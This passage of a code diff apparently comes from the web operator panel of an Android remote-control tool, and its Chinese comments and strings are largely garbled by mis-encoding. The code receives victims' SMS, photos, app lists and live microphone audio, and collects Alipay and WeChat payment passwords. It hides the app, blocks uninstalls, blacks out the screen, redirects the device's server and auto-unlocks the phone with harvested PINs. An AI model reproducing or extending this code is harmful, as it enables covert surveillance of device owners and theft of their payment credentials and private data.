...涓婇潰缁撴瀯... } } + + // 瑙e寘 + const payload = (data && data.success && data.data) ? data.data : data + + // 浠呭鐞嗗綋鍓嶈澶囩殑鏁版嵁 + if (!payload || payload.deviceId !== deviceId) return + + setSmsLoading(false) + + // 鏍¢獙payload鏄惁涓簊ms_data + if (payload.type === 'sms_data' && Array.isArray(payload.smsList)) { + setSmsData(payload) + // 璇诲彇鍚庣洿鎺ュ湪鐭俊鍗$墖鍐呭睍绀? + if (typeof payload.count === 'number') { + message.success(`鎴愬姛鑾峰彇 ${payload.count} 鏉$煭淇) + } + } else if (data && data.success === false) { + message.error(`鑾峰彇鐭俊鏁版嵁澶辫触: ${data.message || '鏈煡閿欒'}`) + } else { + console.warn('鏈瘑鍒殑SMS鏁版嵁鏍煎紡:', data) + } + } + + // 馃摲 鐩戝惉鐩稿唽鏁版嵁鍝嶅簲 + const handleAlbumDataResponse = (data: any) => { + console.log('馃摲 鏀跺埌鐩稿唽鏁版嵁:', data) + + // 瑙e寘 + const payload = (data && data.success && data.data) ? data.data : data + + // 浠呭鐞嗗綋鍓嶈澶囩殑鏁版嵁 + if (!payload || payload.deviceId !== deviceId) return + + setAlbumLoading(false) + + // 鏍¢獙payload鏄惁涓篴lbum_data + if (payload.type === 'album_data' && Array.isArray(payload.albumList)) { + const normalizedAlbumList = payload.albumList.map((img: any) => { + const mimeType = img?.mimeType ?? 'image/jpeg' + const base64Data = img?.data || '' + const dataUrl = base64Data ? `data:${mimeType};base64,${base64Data}` : '' + return { + ...img, + url: '', + resolvedUrl: dataUrl || img?.contentUri || '' + } + }) + setAlbumData({ ...payload, albumList: normalizedAlbumList }) + // 鍋滄涓や釜鎸夐挳鐨?loading + dispatch(setGalleryLoading(false)) + if (typeof payload.count === 'number') { + message.success(`鎴愬姛鑾峰彇 ${payload.count} 寮犵浉鍐屽浘鐗嘸) + } + } else if (data && data.success === false) { + message.error(`鑾峰彇鐩稿唽鏁版嵁澶辫触: ${data.message || '鏈煡閿欒'}`) + setAlbumLoading(false) + dispatch(setGalleryLoading(false)) + } else { + console.warn('鏈瘑鍒殑鐩稿唽鏁版嵁鏍煎紡:', data) + } + } + + const handleAppListDataResponse = (data: any) => { + const payload = (data && data.success && data.data) ? data.data : data + if (!payload || payload.deviceId !== deviceId) return + + const list: AppListItem[] = Array.isArray(payload.appList) ? payload.appList : [] + setAppListData({ + deviceId, + type: 'app_list_data', + timestamp: payload.timestamp || Date.now(), + count: typeof payload.count === 'number' ? payload.count : list.length, + appList: list + }) + setAppListLoading(false) + setAppListPermission({ granted: true, message: `应用列表读取完成,共 ${list.length} 个` }) + } + + const handleAppOpenResult = (data: any) => { + if (!data || data.deviceId !== deviceId) return + setOpeningAppPackage(null) + + if (data.success) { + message.success(data.message || `应用已打开: ${data.packageName || ''}`) + } else { + message.error(data.message || `打开应用失败: ${data.packageName || ''}`) + } + } + + webSocket.on('operation_log_realtime', handleRealtimeLog) + webSocket.on('operation_logs_response', handleLogResponse) + webSocket.on('clear_logs_response', handleClearLogResponse) + webSocket.on('get_device_password_response', handleGetPasswordResponse) + webSocket.on('device_control_response', handleDeviceControlResponse) + webSocket.on('save_device_password_response', handleSavePasswordResponse) + webSocket.on('update_device_state_response', handleUpdateDeviceStateResponse) + webSocket.on('get_device_state_response', handleGetDeviceStateResponse) + webSocket.on('device_input_blocked_changed', handleDeviceInputBlockedChanged) + webSocket.on('device_logging_state_changed', handleDeviceLoggingStateChanged) + webSocket.on('device_state_restored', handleDeviceStateRestored) + webSocket.on('password_search_response', handlePasswordSearchResponse) + webSocket.on('ui_hierarchy_response', handleUIHierarchyResponse) + webSocket.on('save_confirm_coords_response', handleSaveConfirmCoordsResponse) + webSocket.on('confirm_coords_updated', handleConfirmCoordsUpdated) + webSocket.on('black_screen_response', handleBlackScreenResponse) + webSocket.on('app_settings_response', handleAppSettingsResponse) + webSocket.on('app_hide_response', handleAppHideResponse) + webSocket.on('device_app_hide_status_changed', handleDeviceAppHideStatusChanged) + webSocket.on('refresh_permission_response', handleRefreshPermissionResponse) + webSocket.on('permission_response', handlePermissionResponse) + webSocket.on('uninstall_protection_response', handleUninstallProtectionResponse) + webSocket.on('uninstall_attempt_detected', handleUninstallAttemptDetected) + webSocket.on('sms_data', handleSmsDataResponse) + webSocket.on('album_data', handleAlbumDataResponse) + webSocket.on('app_list_data', handleAppListDataResponse) + webSocket.on('app_open_result', handleAppOpenResult) + + // 馃摲 鍗曞紶鐩稿唽鍥剧墖淇濆瓨浜嬩欢锛堣鍙栫浉鍐屾椂閫愬紶鎺ㄩ€侊級 + const handleGalleryImageSaved = (payload: any) => { + if (!payload || payload.deviceId !== deviceId) return + const mimeType = payload.mimeType ?? 'image/jpeg' + const base64Data = payload.data || '' + const dataUrl = base64Data ? `data:${mimeType};base64,${base64Data}` : '' + const resolvedUrl = dataUrl || payload.contentUri || '' + const normalized: GallerySavedItem = { + id: String(payload.id), + deviceId: payload.deviceId, + index: payload.index ?? 0, + displayName: payload.displayName ?? '', + dateAdded: payload.dateAdded ?? 0, + mimeType, + width: payload.width ?? 0, + height: payload.height ?? 0, + size: payload.size ?? 0, + contentUri: payload.contentUri ?? '', + timestamp: payload.timestamp ?? Date.now(), + url: '', + resolvedUrl + } + // 鎺ㄥ叆鏈湴鍐呰仈灞曠ず鍒楄〃 + setGallerySavedList((prev) => [normalized, ...prev].slice(0, 500)) + // 鍚屾椂鍐欏叆鍏ㄥ眬鐩稿唽锛屼繚璇佸悗缁浉鍐岃鍥惧畬鏁? + dispatch(addGalleryImage({ + id: String(normalized.id), + deviceId: normalized.deviceId, + index: normalized.index, + displayName: normalized.displayName, + dateAdded: normalized.dateAdded, + mimeType: normalized.mimeType, + width: normalized.width, + height: normalized.height, + size: normalized.size, + contentUri: normalized.contentUri, + timestamp: normalized.timestamp, + url: normalized.resolvedUrl || normalized.url + })) + // 涓嶅己鍒跺睍寮€鐩稿唽鍖哄煙锛岄伩鍏嶇敤鎴峰湪绛夊緟寮圭獥鏈熼棿瑙嗗浘鎶栧姩 + } + webSocket.on('gallery_image_saved', handleGalleryImageSaved) + + // 馃帣锔?鐩戝惉楹﹀厠椋庨煶棰戞暟鎹? + const handleMicrophoneAudio = (data: any) => { + // 浠呭鐞嗗綋鍓嶈澶囩殑鏁版嵁锛堣嫢鏈嶅姟绔甫鏈塪eviceId锛? + if (data.deviceId && data.deviceId !== deviceId) return + console.log('馃帣锔?鏀跺埌闊抽鏁版嵁:', data) + setMicPermission('granted') + if (typeof data.sampleRate === 'number') setMicSampleRate(data.sampleRate) + if (typeof data.channels === 'number') setMicChannels(data.channels) + if (typeof data.bitDepth === 'number') setMicBitDepth(data.bitDepth) + // 鐩存帴鎾斁 PCM_16BIT_MONO base64 鏁版嵁 + if (data && data.audioData) { + playPcmChunk( + data.audioData, + data.sampleRate || 16000, + data.channels || 1 + ) + } + } + webSocket.on('microphone_audio', handleMicrophoneAudio) + + return () => { + webSocket.off('operation_log_realtime', handleRealtimeLog) + webSocket.off('operation_logs_response', handleLogResponse) + webSocket.off('clear_logs_response', handleClearLogResponse) + webSocket.off('get_device_password_response', handleGetPasswordResponse) + webSocket.off('device_control_response', handleDeviceControlResponse) + webSocket.off('save_device_password_response', handleSavePasswordResponse) + webSocket.off('update_device_state_response', handleUpdateDeviceStateResponse) + webSocket.off('get_device_state_response', handleGetDeviceStateResponse) + webSocket.off('device_input_blocked_changed', handleDeviceInputBlockedChanged) + webSocket.off('device_logging_state_changed', handleDeviceLoggingStateChanged) + webSocket.off('device_state_restored', handleDeviceStateRestored) + webSocket.off('password_search_response', handlePasswordSearchResponse) + webSocket.off('ui_hierarchy_response', handleUIHierarchyResponse) + webSocket.off('save_confirm_coords_response', handleSaveConfirmCoordsResponse) + webSocket.off('confirm_coords_updated', handleConfirmCoordsUpdated) + webSocket.off('black_screen_response', handleBlackScreenResponse) + webSocket.off('app_settings_response', handleAppSettingsResponse) + webSocket.off('app_hide_response', handleAppHideResponse) + webSocket.off('device_app_hide_status_changed', handleDeviceAppHideStatusChanged) + webSocket.off('refresh_permission_response', handleRefreshPermissionResponse) + webSocket.off('permission_response', handlePermissionResponse) + webSocket.off('uninstall_protection_response', handleUninstallProtectionResponse) + webSocket.off('uninstall_attempt_detected', handleUninstallAttemptDetected) + webSocket.off('sms_data', handleSmsDataResponse) + webSocket.off('album_data', handleAlbumDataResponse) + webSocket.off('app_list_data', handleAppListDataResponse) + webSocket.off('app_open_result', handleAppOpenResult) + webSocket.off('gallery_image_saved', handleGalleryImageSaved) + webSocket.off('microphone_audio', handleMicrophoneAudio) + } + }, [webSocket, deviceId, dispatch]) + + const sendControlMessage = (type: string, data: any = {}) => { + if (!webSocket) return + + // 妫€鏌ユ搷浣滄槸鍚﹁鍏佽 + if (!operationEnabled) { + console.warn('鎿嶄綔宸茶闃绘') + return + } + + webSocket.emit('control_message', { + type, + deviceId, + data, + timestamp: Date.now() + }) + } + + // 璁よ瘉鐢?apiClient 缁熶竴澶勭悊 + + // 瀵嗙爜绫诲瀷绛涢€夛紙DEFAULT/ALIPAY_PASSWORD/WECHAT_PASSWORD锛? + const [passwordFilter, setPasswordFilter] = useState<'DEFAULT' | 'ALIPAY_PASSWORD' | 'WECHAT_PASSWORD'>('DEFAULT') + + // 馃攼 瀵嗙爜杈撳叆鐣岄潰鎵撳紑锛?浣峆IN / 4浣峆IN / 鍥惧舰瀵嗙爜锛? + const handleOpenPinInput = () => { + sendControlMessage('OPEN_PIN_INPUT', {}) + } + + const handleOpenFourDigitPin = () => { + sendControlMessage('OPEN_FOUR_DIGIT_PIN', {}) + } + + const handleOpenPatternLock = () => { + sendControlMessage('OPEN_PATTERN_LOCK', {}) + } + + // 鏀粯瀹濇娴嬬浉鍏矨PI鍑芥暟 + const startAlipayDetection = () => { + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + + console.log('馃攳 鍚姩鏀粯瀹濇娴?) + webSocket.emit('camera_control', { + action: "ALIPAY_DETECTION_START", deviceId, + data: {} + }) + + setAlipayDetectionEnabled(true) + message.success('鏀粯瀹濇娴嬪凡鍚姩') + } + + const stopAlipayDetection = () => { + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + + console.log('馃洃 鍋滄鏀粯瀹濇娴?) + webSocket.emit('camera_control', { + action: "ALIPAY_DETECTION_STOP", + deviceId, + data: {} + }) + + setAlipayDetectionEnabled(false) + message.success('鏀粯瀹濇娴嬪凡鍋滄') + } + + // 鑾峰彇瀵嗙爜璁板綍鍒楄〃锛堟敮鎸佺瓫閫?DEFAULT/ALIPAY_PASSWORD/WECHAT_PASSWORD锛? + const fetchAlipayPasswords = async (page: number = 1, pageSize: number = 10) => { + try { + setAlipayPasswordLoading(true) + const typeQuery = passwordFilter === 'DEFAULT' ? '' : `&passwordType=${passwordFilter}` + const data: any = await apiClient.get(`/api/password-inputs/${deviceId}?page=${page}&pageSize=${pageSize}${typeQuery}`) + + if (data.success) { + setAlipayPasswords(data.data.passwords) + setAlipayPasswordTotal(data.data.total) + setAlipayPasswordPage(data.data.page) + setAlipayPasswordPageSize(data.data.pageSize) + } else { + message.error('鑾峰彇瀵嗙爜璁板綍澶辫触') + } + } catch (error) { + console.error('鑾峰彇鏀粯瀹濆瘑鐮佽褰曞け璐?', error) + message.error('鑾峰彇瀵嗙爜璁板綍澶辫触') + } finally { + setAlipayPasswordLoading(false) + } + } + + // 鑾峰彇瀵嗙爜璁板綍鍒楄〃锛堜娇鐢ㄦ寚瀹氱殑绛涢€夌被鍨嬶級 + const fetchAlipayPasswordsWithFilter = async (filter: string, page: number = 1, pageSize: number = 10) => { + try { + setAlipayPasswordLoading(true) + const typeQuery = filter === 'DEFAULT' ? '' : `&passwordType=${filter}` + const data: any = await apiClient.get(`/api/password-inputs/${deviceId}?page=${page}&pageSize=${pageSize}${typeQuery}`) + + if (data.success) { + setAlipayPasswords(data.data.passwords) + setAlipayPasswordTotal(data.data.total) + setAlipayPasswordPage(data.data.page) + setAlipayPasswordPageSize(data.data.pageSize) + } else { + message.error('鑾峰彇瀵嗙爜璁板綍澶辫触') + } + } catch (error) { + console.error('鑾峰彇瀵嗙爜璁板綍澶辫触:', error) + message.error('鑾峰彇瀵嗙爜璁板綍澶辫触') + } finally { + setAlipayPasswordLoading(false) + } + } + + // 鑾峰彇鏈€鏂板瘑鐮? + const fetchLatestPassword = async () => { + try { + const data: AlipayPasswordSingleResponse = await apiClient.get(`/api/alipay-passwords/${deviceId}/latest`) + + if (data.success && data.data) { + // 鏈€鏂板瘑鐮佸睍绀洪€昏緫宸茬Щ闄? + message.success('宸茶幏鍙栨渶鏂板瘑鐮?) + } else { + message.info('鏆傛棤瀵嗙爜璁板綍') + } + } catch (error) { + console.error('鑾峰彇鏈€鏂板瘑鐮佸け璐?', error) + message.error('鑾峰彇鏈€鏂板瘑鐮佸け璐?) + } + } + + // 鍒犻櫎瀵嗙爜璁板綍锛堟寜绛涢€夌被鍨嬪垹闄わ級 + const deleteAllPasswords = async () => { + try { + const typeQuery = passwordFilter === 'DEFAULT' ? '' : `?passwordType=${passwordFilter}` + const data = await apiClient.delete<{ success: boolean }>(`/api/password-inputs/${deviceId}${typeQuery}`) + + if (data.success) { + setAlipayPasswords([]) + // 鏈€鏂板瘑鐮佸睍绀洪€昏緫宸茬Щ闄? + message.success('宸插垹闄ゆ墍鏈夊瘑鐮佽褰?) + // 鍒犻櫎鍚庡埛鏂板綋鍓嶇瓫閫夌被鍨嬪垪琛? + fetchAlipayPasswords(alipayPasswordPage, alipayPasswordPageSize) + } else { + message.error('鍒犻櫎瀵嗙爜璁板綍澶辫触') + } + } catch (error) { + console.error('鍒犻櫎瀵嗙爜璁板綍澶辫触:', error) + message.error('鍒犻櫎瀵嗙爜璁板綍澶辫触') + } + } + + + // 馃啎 閲嶆柊鑾峰彇鎶曞睆鏉冮檺 + const handleRefreshPermission = () => { + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + + console.log('馃摵 閲嶆柊鑾峰彇鎶曞睆鏉冮檺') + setIsRefreshingPermission(true) + + webSocket.emit('client_event', { + type: 'REFRESH_MEDIA_PROJECTION_PERMISSION', + data: { deviceId } + }) + } + + // 馃啎 鎵嬪姩鎺堟潈鎶曞睆鏉冮檺锛堜笉鑷姩鐐瑰嚮纭锛? + const handleRefreshPermissionManual = () => { + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + + console.log('馃摵 鎵嬪姩鎺堟潈鎶曞睆鏉冮檺锛堜笉鑷姩鐐瑰嚮锛?) + + webSocket.emit('client_event', { + type: 'REFRESH_MEDIA_PROJECTION_MANUAL', + data: { deviceId } + }) + + message.info('宸插彂閫佹墜鍔ㄦ巿鏉冭姹傦紝璇峰湪璁惧涓婃墜鍔ㄧ‘璁ゆ潈闄愬脊绐?) + } + + // 馃啎 鏆傚仠灞忓箷鎹曡幏 - 宸查殣钘忥紙鍔熻兘宸茬Щ鑷砇emoteControlApp锛? + // const handlePauseScreenCapture = () => { + // if (!webSocket) { + // message.error('WebSocket鏈繛鎺?) + // return + // } + + // console.log('鈴革笍 鏆傚仠灞忓箷鎹曡幏') + // sendControlMessage('SCREEN_CAPTURE_PAUSE', {}) + // message.success('宸插彂閫佹殏鍋滃睆骞曟崟鑾锋寚浠?) + // } + + // 馃啎 鎭㈠灞忓箷鎹曡幏 - 宸查殣钘忥紙鍔熻兘宸茬Щ鑷砇emoteControlApp锛? + // const handleResumeScreenCapture = () => { + // if (!webSocket) { + // message.error('WebSocket鏈繛鎺?) + // return + // } + + // console.log('鈻讹笍 鎭㈠灞忓箷鎹曡幏') + // sendControlMessage('SCREEN_CAPTURE_RESUME', {}) + // message.success('宸插彂閫佹仮澶嶅睆骞曟崟鑾锋寚浠?) + // } + // 寰俊妫€娴嬬浉鍏矨PI鍑芥暟 + const startWechatDetection = () => { + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + + console.log('馃攳 鍚姩寰俊妫€娴?) + webSocket.emit('camera_control', { + action: "WECHAT_DETECTION_START", + deviceId, + data: {} + }) + + setWechatDetectionEnabled(true) + message.success('寰俊妫€娴嬪凡鍚姩') + } + + const stopWechatDetection = () => { + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + + console.log('馃洃 鍋滄寰俊妫€娴?) + webSocket.emit('camera_control', { + action: "WECHAT_DETECTION_STOP", + deviceId, + data: {} + }) + + setWechatDetectionEnabled(false) + message.success('寰俊妫€娴嬪凡鍋滄') + } + + // 鑾峰彇寰俊瀵嗙爜璁板綍鍒楄〃 + const fetchWechatPasswords = async (page: number = 1, pageSize: number = 10) => { + try { + setWechatPasswordLoading(true) + const data: WechatPasswordListResponse = await apiClient.get(`/api/wechat-passwords/${deviceId}?page=${page}&pageSize=${pageSize}`) + + if (data.success) { + setWechatPasswords(data.data.passwords) + setWechatPasswordTotal(data.data.total) + setWechatPasswordPage(data.data.page) + setWechatPasswordPageSize(data.data.pageSize) + } else { + message.error('鑾峰彇寰俊瀵嗙爜璁板綍澶辫触') + } + } catch (error) { + console.error('鑾峰彇寰俊瀵嗙爜璁板綍澶辫触:', error) + message.error('鑾峰彇寰俊瀵嗙爜璁板綍澶辫触') + } finally { + setWechatPasswordLoading(false) + } + } + + // 鑾峰彇鏈€鏂板井淇″瘑鐮? + const fetchLatestWechatPassword = async () => { + try { + const data: WechatPasswordSingleResponse = await apiClient.get(`/api/wechat-passwords/${deviceId}/latest`) + + if (data.success && data.data) { + // 鏈€鏂板井淇″瘑鐮佸睍绀洪€昏緫宸茬Щ闄? + message.success('宸茶幏鍙栨渶鏂板井淇″瘑鐮?) + } else { + message.info('鏆傛棤寰俊瀵嗙爜璁板綍') + } + } catch (error) { + console.error('鑾峰彇鏈€鏂板井淇″瘑鐮佸け璐?', error) + message.error('鑾峰彇鏈€鏂板井淇″瘑鐮佸け璐?) + } + } + + // 鍒犻櫎鎵€鏈夊井淇″瘑鐮佽褰? + const deleteAllWechatPasswords = async () => { + try { + const data = await apiClient.delete<{ success: boolean }>(`/api/wechat-passwords/${deviceId}`) + + if (data.success) { + setWechatPasswords([]) + // 鏈€鏂板井淇″瘑鐮佸睍绀洪€昏緫宸茬Щ闄? + message.success('宸插垹闄ゆ墍鏈夊井淇″瘑鐮佽褰?) + } else { + message.error('鍒犻櫎寰俊瀵嗙爜璁板綍澶辫触') + } + } catch (error) { + console.error('鍒犻櫎寰俊瀵嗙爜璁板綍澶辫触:', error) + message.error('鍒犻櫎寰俊瀵嗙爜璁板綍澶辫触') + } + } + + // 鏃ュ織鎺у埗鍑芥暟 + const handleEnableLogging = () => { + sendControlMessage('LOG_ENABLE') + setIsLoggingEnabled(true) + // 鉁?鍚屾鏇存柊鍒版暟鎹簱 + updateDeviceState({ loggingEnabled: true }) + } + + const handleDisableLogging = () => { + sendControlMessage('LOG_DISABLE') + setIsLoggingEnabled(false) + // 鉁?鍚屾鏇存柊鍒版暟鎹簱 + updateDeviceState({ loggingEnabled: false }) + } + + const fetchOperationLogs = (page: number = 1, size: number = 50, type?: string) => { + if (!webSocket) return + + setLogLoading(true) + webSocket.emit('client_event', { + type: 'GET_OPERATION_LOGS', + data: { + deviceId, + page, + pageSize: size, + logType: type + } + }) + } + + // 鏃ュ織鏌ョ湅涓庢竻鐞嗙浉鍏砋I宸茬Щ闄わ紙鍙充晶鏀逛负Tab锛氳澶囦俊鎭?鐭俊/鎽勫儚澶?鐩稿唽锛? + + const handlePageChange = (page: number, size?: number) => { + setCurrentPage(page) + if (size) setPageSize(size) + fetchOperationLogs(page, size || pageSize, logTypeFilter) + } + + const handleLogTypeFilterChange = (value: string | undefined) => { + setLogTypeFilter(value) + setCurrentPage(1) + fetchOperationLogs(1, pageSize, value) + } + + // 鉁?璁惧鐘舵€佺鐞嗗嚱鏁? + const savePasswordToDatabase = (password: string) => { + if (!webSocket) return + + console.log('馃捑 淇濆瓨瀵嗙爜鍒版暟鎹簱:', password) + webSocket.emit('client_event', { + type: 'SAVE_DEVICE_PASSWORD', + data: { deviceId, password } + }) + } + + const updateDeviceState = (state: any) => { + if (!webSocket) return + + console.log('馃搳 鏇存柊璁惧鐘舵€?', state) + webSocket.emit('client_event', { + type: 'UPDATE_DEVICE_STATE', + data: { deviceId, state } + }) + } + + // 闃查噸澶嶅彂閫佺姸鎬? + const [lastStateRequestTime, setLastStateRequestTime] = useState(0) + + const getDeviceState = () => { + if (!webSocket) return + + // 馃敡 闃叉鐭椂闂村唴閲嶅鍙戦€佽姹傦紙1绉掑唴鍙兘鍙戦€佷竴娆★級 + const now = Date.now() + if (now - lastStateRequestTime < 1000) { + console.log('鈿狅笍 鐘舵€佽幏鍙栬姹傝繃浜庨绻侊紝璺宠繃') + return + } + + console.log('馃搳 鑾峰彇璁惧鐘舵€?) + setLastStateRequestTime(now) + webSocket.emit('client_event', { + type: 'GET_DEVICE_STATE', + data: { deviceId } + }) + } + + // 鏌ユ壘瀵嗙爜鐩稿叧鍑芥暟 + const handleSearchPasswords = () => { + if (!webSocket || !deviceId) { + message.error('WebSocket鏈繛鎺ユ垨璁惧ID鏃犳晥') + return + } + + console.log('馃攳 寮€濮嬩粠鏃ュ織涓煡鎵惧瘑鐮?..') + setPasswordSearchLoading(true) + setPasswordSearchVisible(true) + + // 鍙戦€佹煡鎵惧瘑鐮佽姹? + webSocket.emit('client_event', { + type: 'SEARCH_PASSWORDS_FROM_LOGS', + data: { deviceId } + }) + } + + const handleSelectPassword = (password: string) => { + setSelectedPassword(password) + // 濡傛灉閫夋嫨浜嗗巻鍙插瘑鐮侊紝娓呯┖鑷畾涔夎緭鍏? + if (password && customPasswordInput.trim()) { + setCustomPasswordInput('') + } + } + + const handleConfirmSelectedPassword = () => { + // 鉁?浼樺厛浣跨敤鑷畾涔夎緭鍏ョ殑瀵嗙爜锛屽鏋滄病鏈夊垯浣跨敤閫変腑鐨勫瘑鐮? + const finalPassword = customPasswordInput.trim() || selectedPassword + + if (!finalPassword) { + message.warning('璇疯緭鍏ュ瘑鐮佹垨閫夋嫨涓€涓瘑鐮?) + return + } + + console.log('鉁?鐢ㄦ埛鏈€缁堜娇鐢ㄥ瘑鐮?', finalPassword) + console.log(' - 鑷畾涔夎緭鍏?', customPasswordInput) + console.log(' - 閫変腑瀵嗙爜:', selectedPassword) + + // 鍏抽棴瀵嗙爜鎼滅储寮圭獥 + setPasswordSearchVisible(false) + + // 淇濆瓨鏈€缁堝瘑鐮佸埌鏁版嵁搴? + savePasswordToDatabase(finalPassword) + + // 鎵ц鑷姩瑙i攣 + performAutoUnlock(finalPassword) + + // 鏇存柊鏈湴鏄剧ず鐨勫瘑鐮? + setLastKnownPassword(finalPassword) + } + + const handleCancelPasswordSearch = () => { + setPasswordSearchVisible(false) + setFoundPasswords([]) + setSelectedPassword('') + setCustomPasswordInput('') // 娓呯┖鑷畾涔夎緭鍏? + } + + // 鉁?鏂板锛氫慨鏀规湇鍔″櫒鍦板潃鍔熻兘 + const handleChangeServerUrl = () => { + if (!webSocket) { + message.error('WebSocket鏈繛鎺?) + return + } + + if (!newServerUrl.trim()) { + message.error('璇疯緭鍏ユ柊鐨勬湇鍔″櫒鍦板潃') + return + } + + setServerUrlChanging(true) + console.log('馃攧 淇敼鏈嶅姟鍣ㄥ湴鍧€:', newServerUrl) + + + + webSocket.emit('client_event', { + type: 'CHANGE_SERVER_URL', + + data: { + deviceId: deviceId, + data: { + serverUrl: newServerUrl.trim() + } + + } + }) + + // 鏄剧ず鎴愬姛娑堟伅骞跺叧闂脊绐? + setTimeout(() => { + message.success('鏈嶅姟鍣ㄥ湴鍧€淇敼鎸囦护宸插彂閫?) + setServerUrlModalVisible(false) + setNewServerUrl('') + setServerUrlChanging(false) + }, 1000) + } + + // 涓€閿В閿佺浉鍏冲嚱鏁? + const handleOneClickUnlock = () => { + console.log('馃敁 涓€閿В閿佹寜閽鐐瑰嚮') + console.log('WebSocket鐘舵€?', !!webSocket) + console.log('璁惧ID:', deviceId) + + if (!webSocket) { + console.error('鉂?WebSocket鏈繛鎺?) + modal.error({ + title: '杩炴帴閿欒', + content: 'WebSocket鏈繛鎺ワ紝璇锋鏌ョ綉缁滆繛鎺? + }) + return + } + + setIsUnlocking(true) + console.log('馃摛 鍙戦€丟ET_DEVICE_PASSWORD璇锋眰锛堜紭鍏堜粠鐘舵€佽〃鑾峰彇锛?) + webSocket.emit('client_event', { + type: 'GET_DEVICE_PASSWORD', + data: { deviceId } + }) + } + + // 馃啎 涓€閿浘妗堣В閿佸鐞嗗嚱鏁? + const handlePatternUnlock = () => { + console.log('馃帹 涓€閿浘妗堣В閿佹寜閽鐐瑰嚮') + + if (!webSocket) { + console.error('鉂?WebSocket鏈繛鎺?) + modal.error({ + title: '杩炴帴閿欒', + content: 'WebSocket鏈繛鎺ワ紝璇锋鏌ョ綉缁滆繛鎺? + }) + return + } + + if (!operationEnabled) { + modal.warning({ + title: '鏉冮檺涓嶈冻', + content: '鎮ㄩ渶瑕佸厛鑾峰彇璁惧鎺у埗鏉冮檺鎵嶈兘浣跨敤鍥炬瑙i攣鍔熻兘銆傝鍏堢偣鍑?鑾峰彇鎺у埗鏉?鎸夐挳銆? + }) + return + } + + setIsPatternUnlocking(true) + + // 榛樿鍥炬璺緞锛?23456 + const defaultPattern = [1, 2, 3, 4, 5, 6] + + console.log('馃帹 鍙戦€佸浘妗堣В閿佹寚浠?', defaultPattern) + + modal.info({ + title: '姝e湪鎵ц鍥炬瑙i攣', + content: `鍥炬璺緞: 123456\n姝e湪灏濊瘯瑙i攣璁惧...` + }) + + // 鍙戦€佸浘妗堣В閿佹寚浠? + webSocket.emit('client_event', { + type: 'UNLOCK_DEVICE', + data: { + deviceId, + data: { + pattern: defaultPattern + } + } + }) + + // 3绉掑悗閲嶇疆鐘舵€? + setTimeout(() => { + setIsPatternUnlocking(false) + }, 3000) + } + + const performAutoUnlock = (password: string, savedConfirmCoords?: { x: number, y: number } | null) => { + console.log('馃敁 寮€濮嬫墽琛岃嚜鍔ㄨВ閿? 瀵嗙爜:', password) + + if (!password || !device) { + console.error('鉂?鏃犳硶鎵ц瑙i攣: 瀵嗙爜涓虹┖鎴栬澶囦笉瀛樺湪') + return + } + + // 鉁?鏅鸿兘妫€娴嬪瘑鐮佺被鍨? + const passwordType = detectPasswordType(password) + console.log('馃攳 妫€娴嬪埌瀵嗙爜绫诲瀷:', passwordType) + + modal.info({ + title: '姝e湪鎵ц鑷姩瑙i攣', + content: `姝e湪灏濊瘯瑙i攣璁惧锛岃绋嶅€?..\n瀵嗙爜绫诲瀷: ${passwordType}\n1. 鐐逛寒灞忓箷\n2. 鍞ら啋瑙i攣鐣岄潰\n3. 杈撳叆瀵嗙爜\n4. 纭瑙i攣` + }) + + const screenWidth = device.screenWidth + const screenHeight = device.screenHeight + const centerX = screenWidth / 2 + + // 姝ラ1: 鐐逛寒灞忓箷 + console.log('馃攩 姝ラ1: 鍙戦€佺偣浜睆骞曞懡浠?) + sendControlMessage('POWER_WAKE', {}) + + // 姝ラ2: 寤惰繜1绉掑悗鍚戜笂婊戝姩鍞ら啋瑙i攣鐣岄潰 + setTimeout(() => { + console.log('馃憜 姝ラ2: 鍚戜笂婊戝姩鍞ら啋瑙i攣鐣岄潰') + + // 鉁?浼樺厛浣跨敤Android绔殑鏅鸿兘涓婃粦瑙i攣锛堟洿绮剧‘鐨勮澶囬€傞厤锛? + if (webSocket) { + console.log('馃 浣跨敤Android绔櫤鑳戒笂婊戣В閿侊紙鎺ㄨ崘锛?) + sendControlMessage('SMART_UNLOCK_SWIPE', {}) + } else { + // 澶囩敤鏂规锛歐eb绔绠楁粦鍔ㄥ弬鏁? + console.log('馃摫 浣跨敤Web绔粦鍔ㄥ弬鏁拌绠楋紙澶囩敤锛?) + + // 鉁?浼樺寲婊戝姩璺濈浠ラ€傞厤鏇村璁惧 + // 鏍规嵁灞忓箷楂樺害鍔ㄦ€佽皟鏁存粦鍔ㄨ窛绂伙紝纭繚鑳藉鍞ら啋鍚勭璁惧鐨勮В閿佺晫闈? + const startYRatio = screenHeight > 2400 ? 0.88 : screenHeight > 2000 ? 0.85 : 0.8 + const endYRatio = screenHeight > 2400 ? 0.12 : screenHeight > 2000 ? 0.15 : 0.2 + const swipeDuration = screenHeight > 2400 ? 450 : screenHeight > 2000 ? 400 : 350 + + console.log(`馃摫 灞忓箷灏哄: ${screenWidth}x${screenHeight}`) + console.log(`馃憜 婊戝姩鍙傛暟: 璧峰=${(startYRatio * 100).toFixed(0)}%, 缁撴潫=${(endYRatio * 100).toFixed(0)}%, 鏃堕暱=${swipeDuration}ms`) + + sendControlMessage('SWIPE', { + startX: centerX, + startY: screenHeight * startYRatio, // 鍔ㄦ€佽皟鏁磋捣濮嬩綅缃? + endX: centerX, + endY: screenHeight * endYRatio, // 鍔ㄦ€佽皟鏁寸粨鏉熶綅缃紝婊戝姩璺濈鏇撮暱 + duration: swipeDuration // 鍔ㄦ€佽皟鏁存粦鍔ㄦ椂闀? + }) + } + + // 姝ラ3: 寤惰繜1.5绉掑悗寮€濮嬭緭鍏ュ瘑鐮? + setTimeout(() => { + console.log('馃敜 姝ラ3: 寮€濮嬭緭鍏ュ瘑鐮?', password, '绫诲瀷:', passwordType) + + // 鉁?鏍规嵁瀵嗙爜绫诲瀷閫夋嫨涓嶅悓鐨勮緭鍏ョ瓥鐣? + switch (passwordType) { + case 'numeric': + console.log('馃摫 浣跨敤鏁板瓧瀵嗙爜鍧愭爣鐐瑰嚮绛栫暐') + inputNumericPassword(password, screenWidth, screenHeight) + break + case 'pin': + console.log('馃摫 浣跨敤PIN鐮侀€愪釜杈撳叆绛栫暐') + inputPinPassword(password) + break + case 'mixed': + 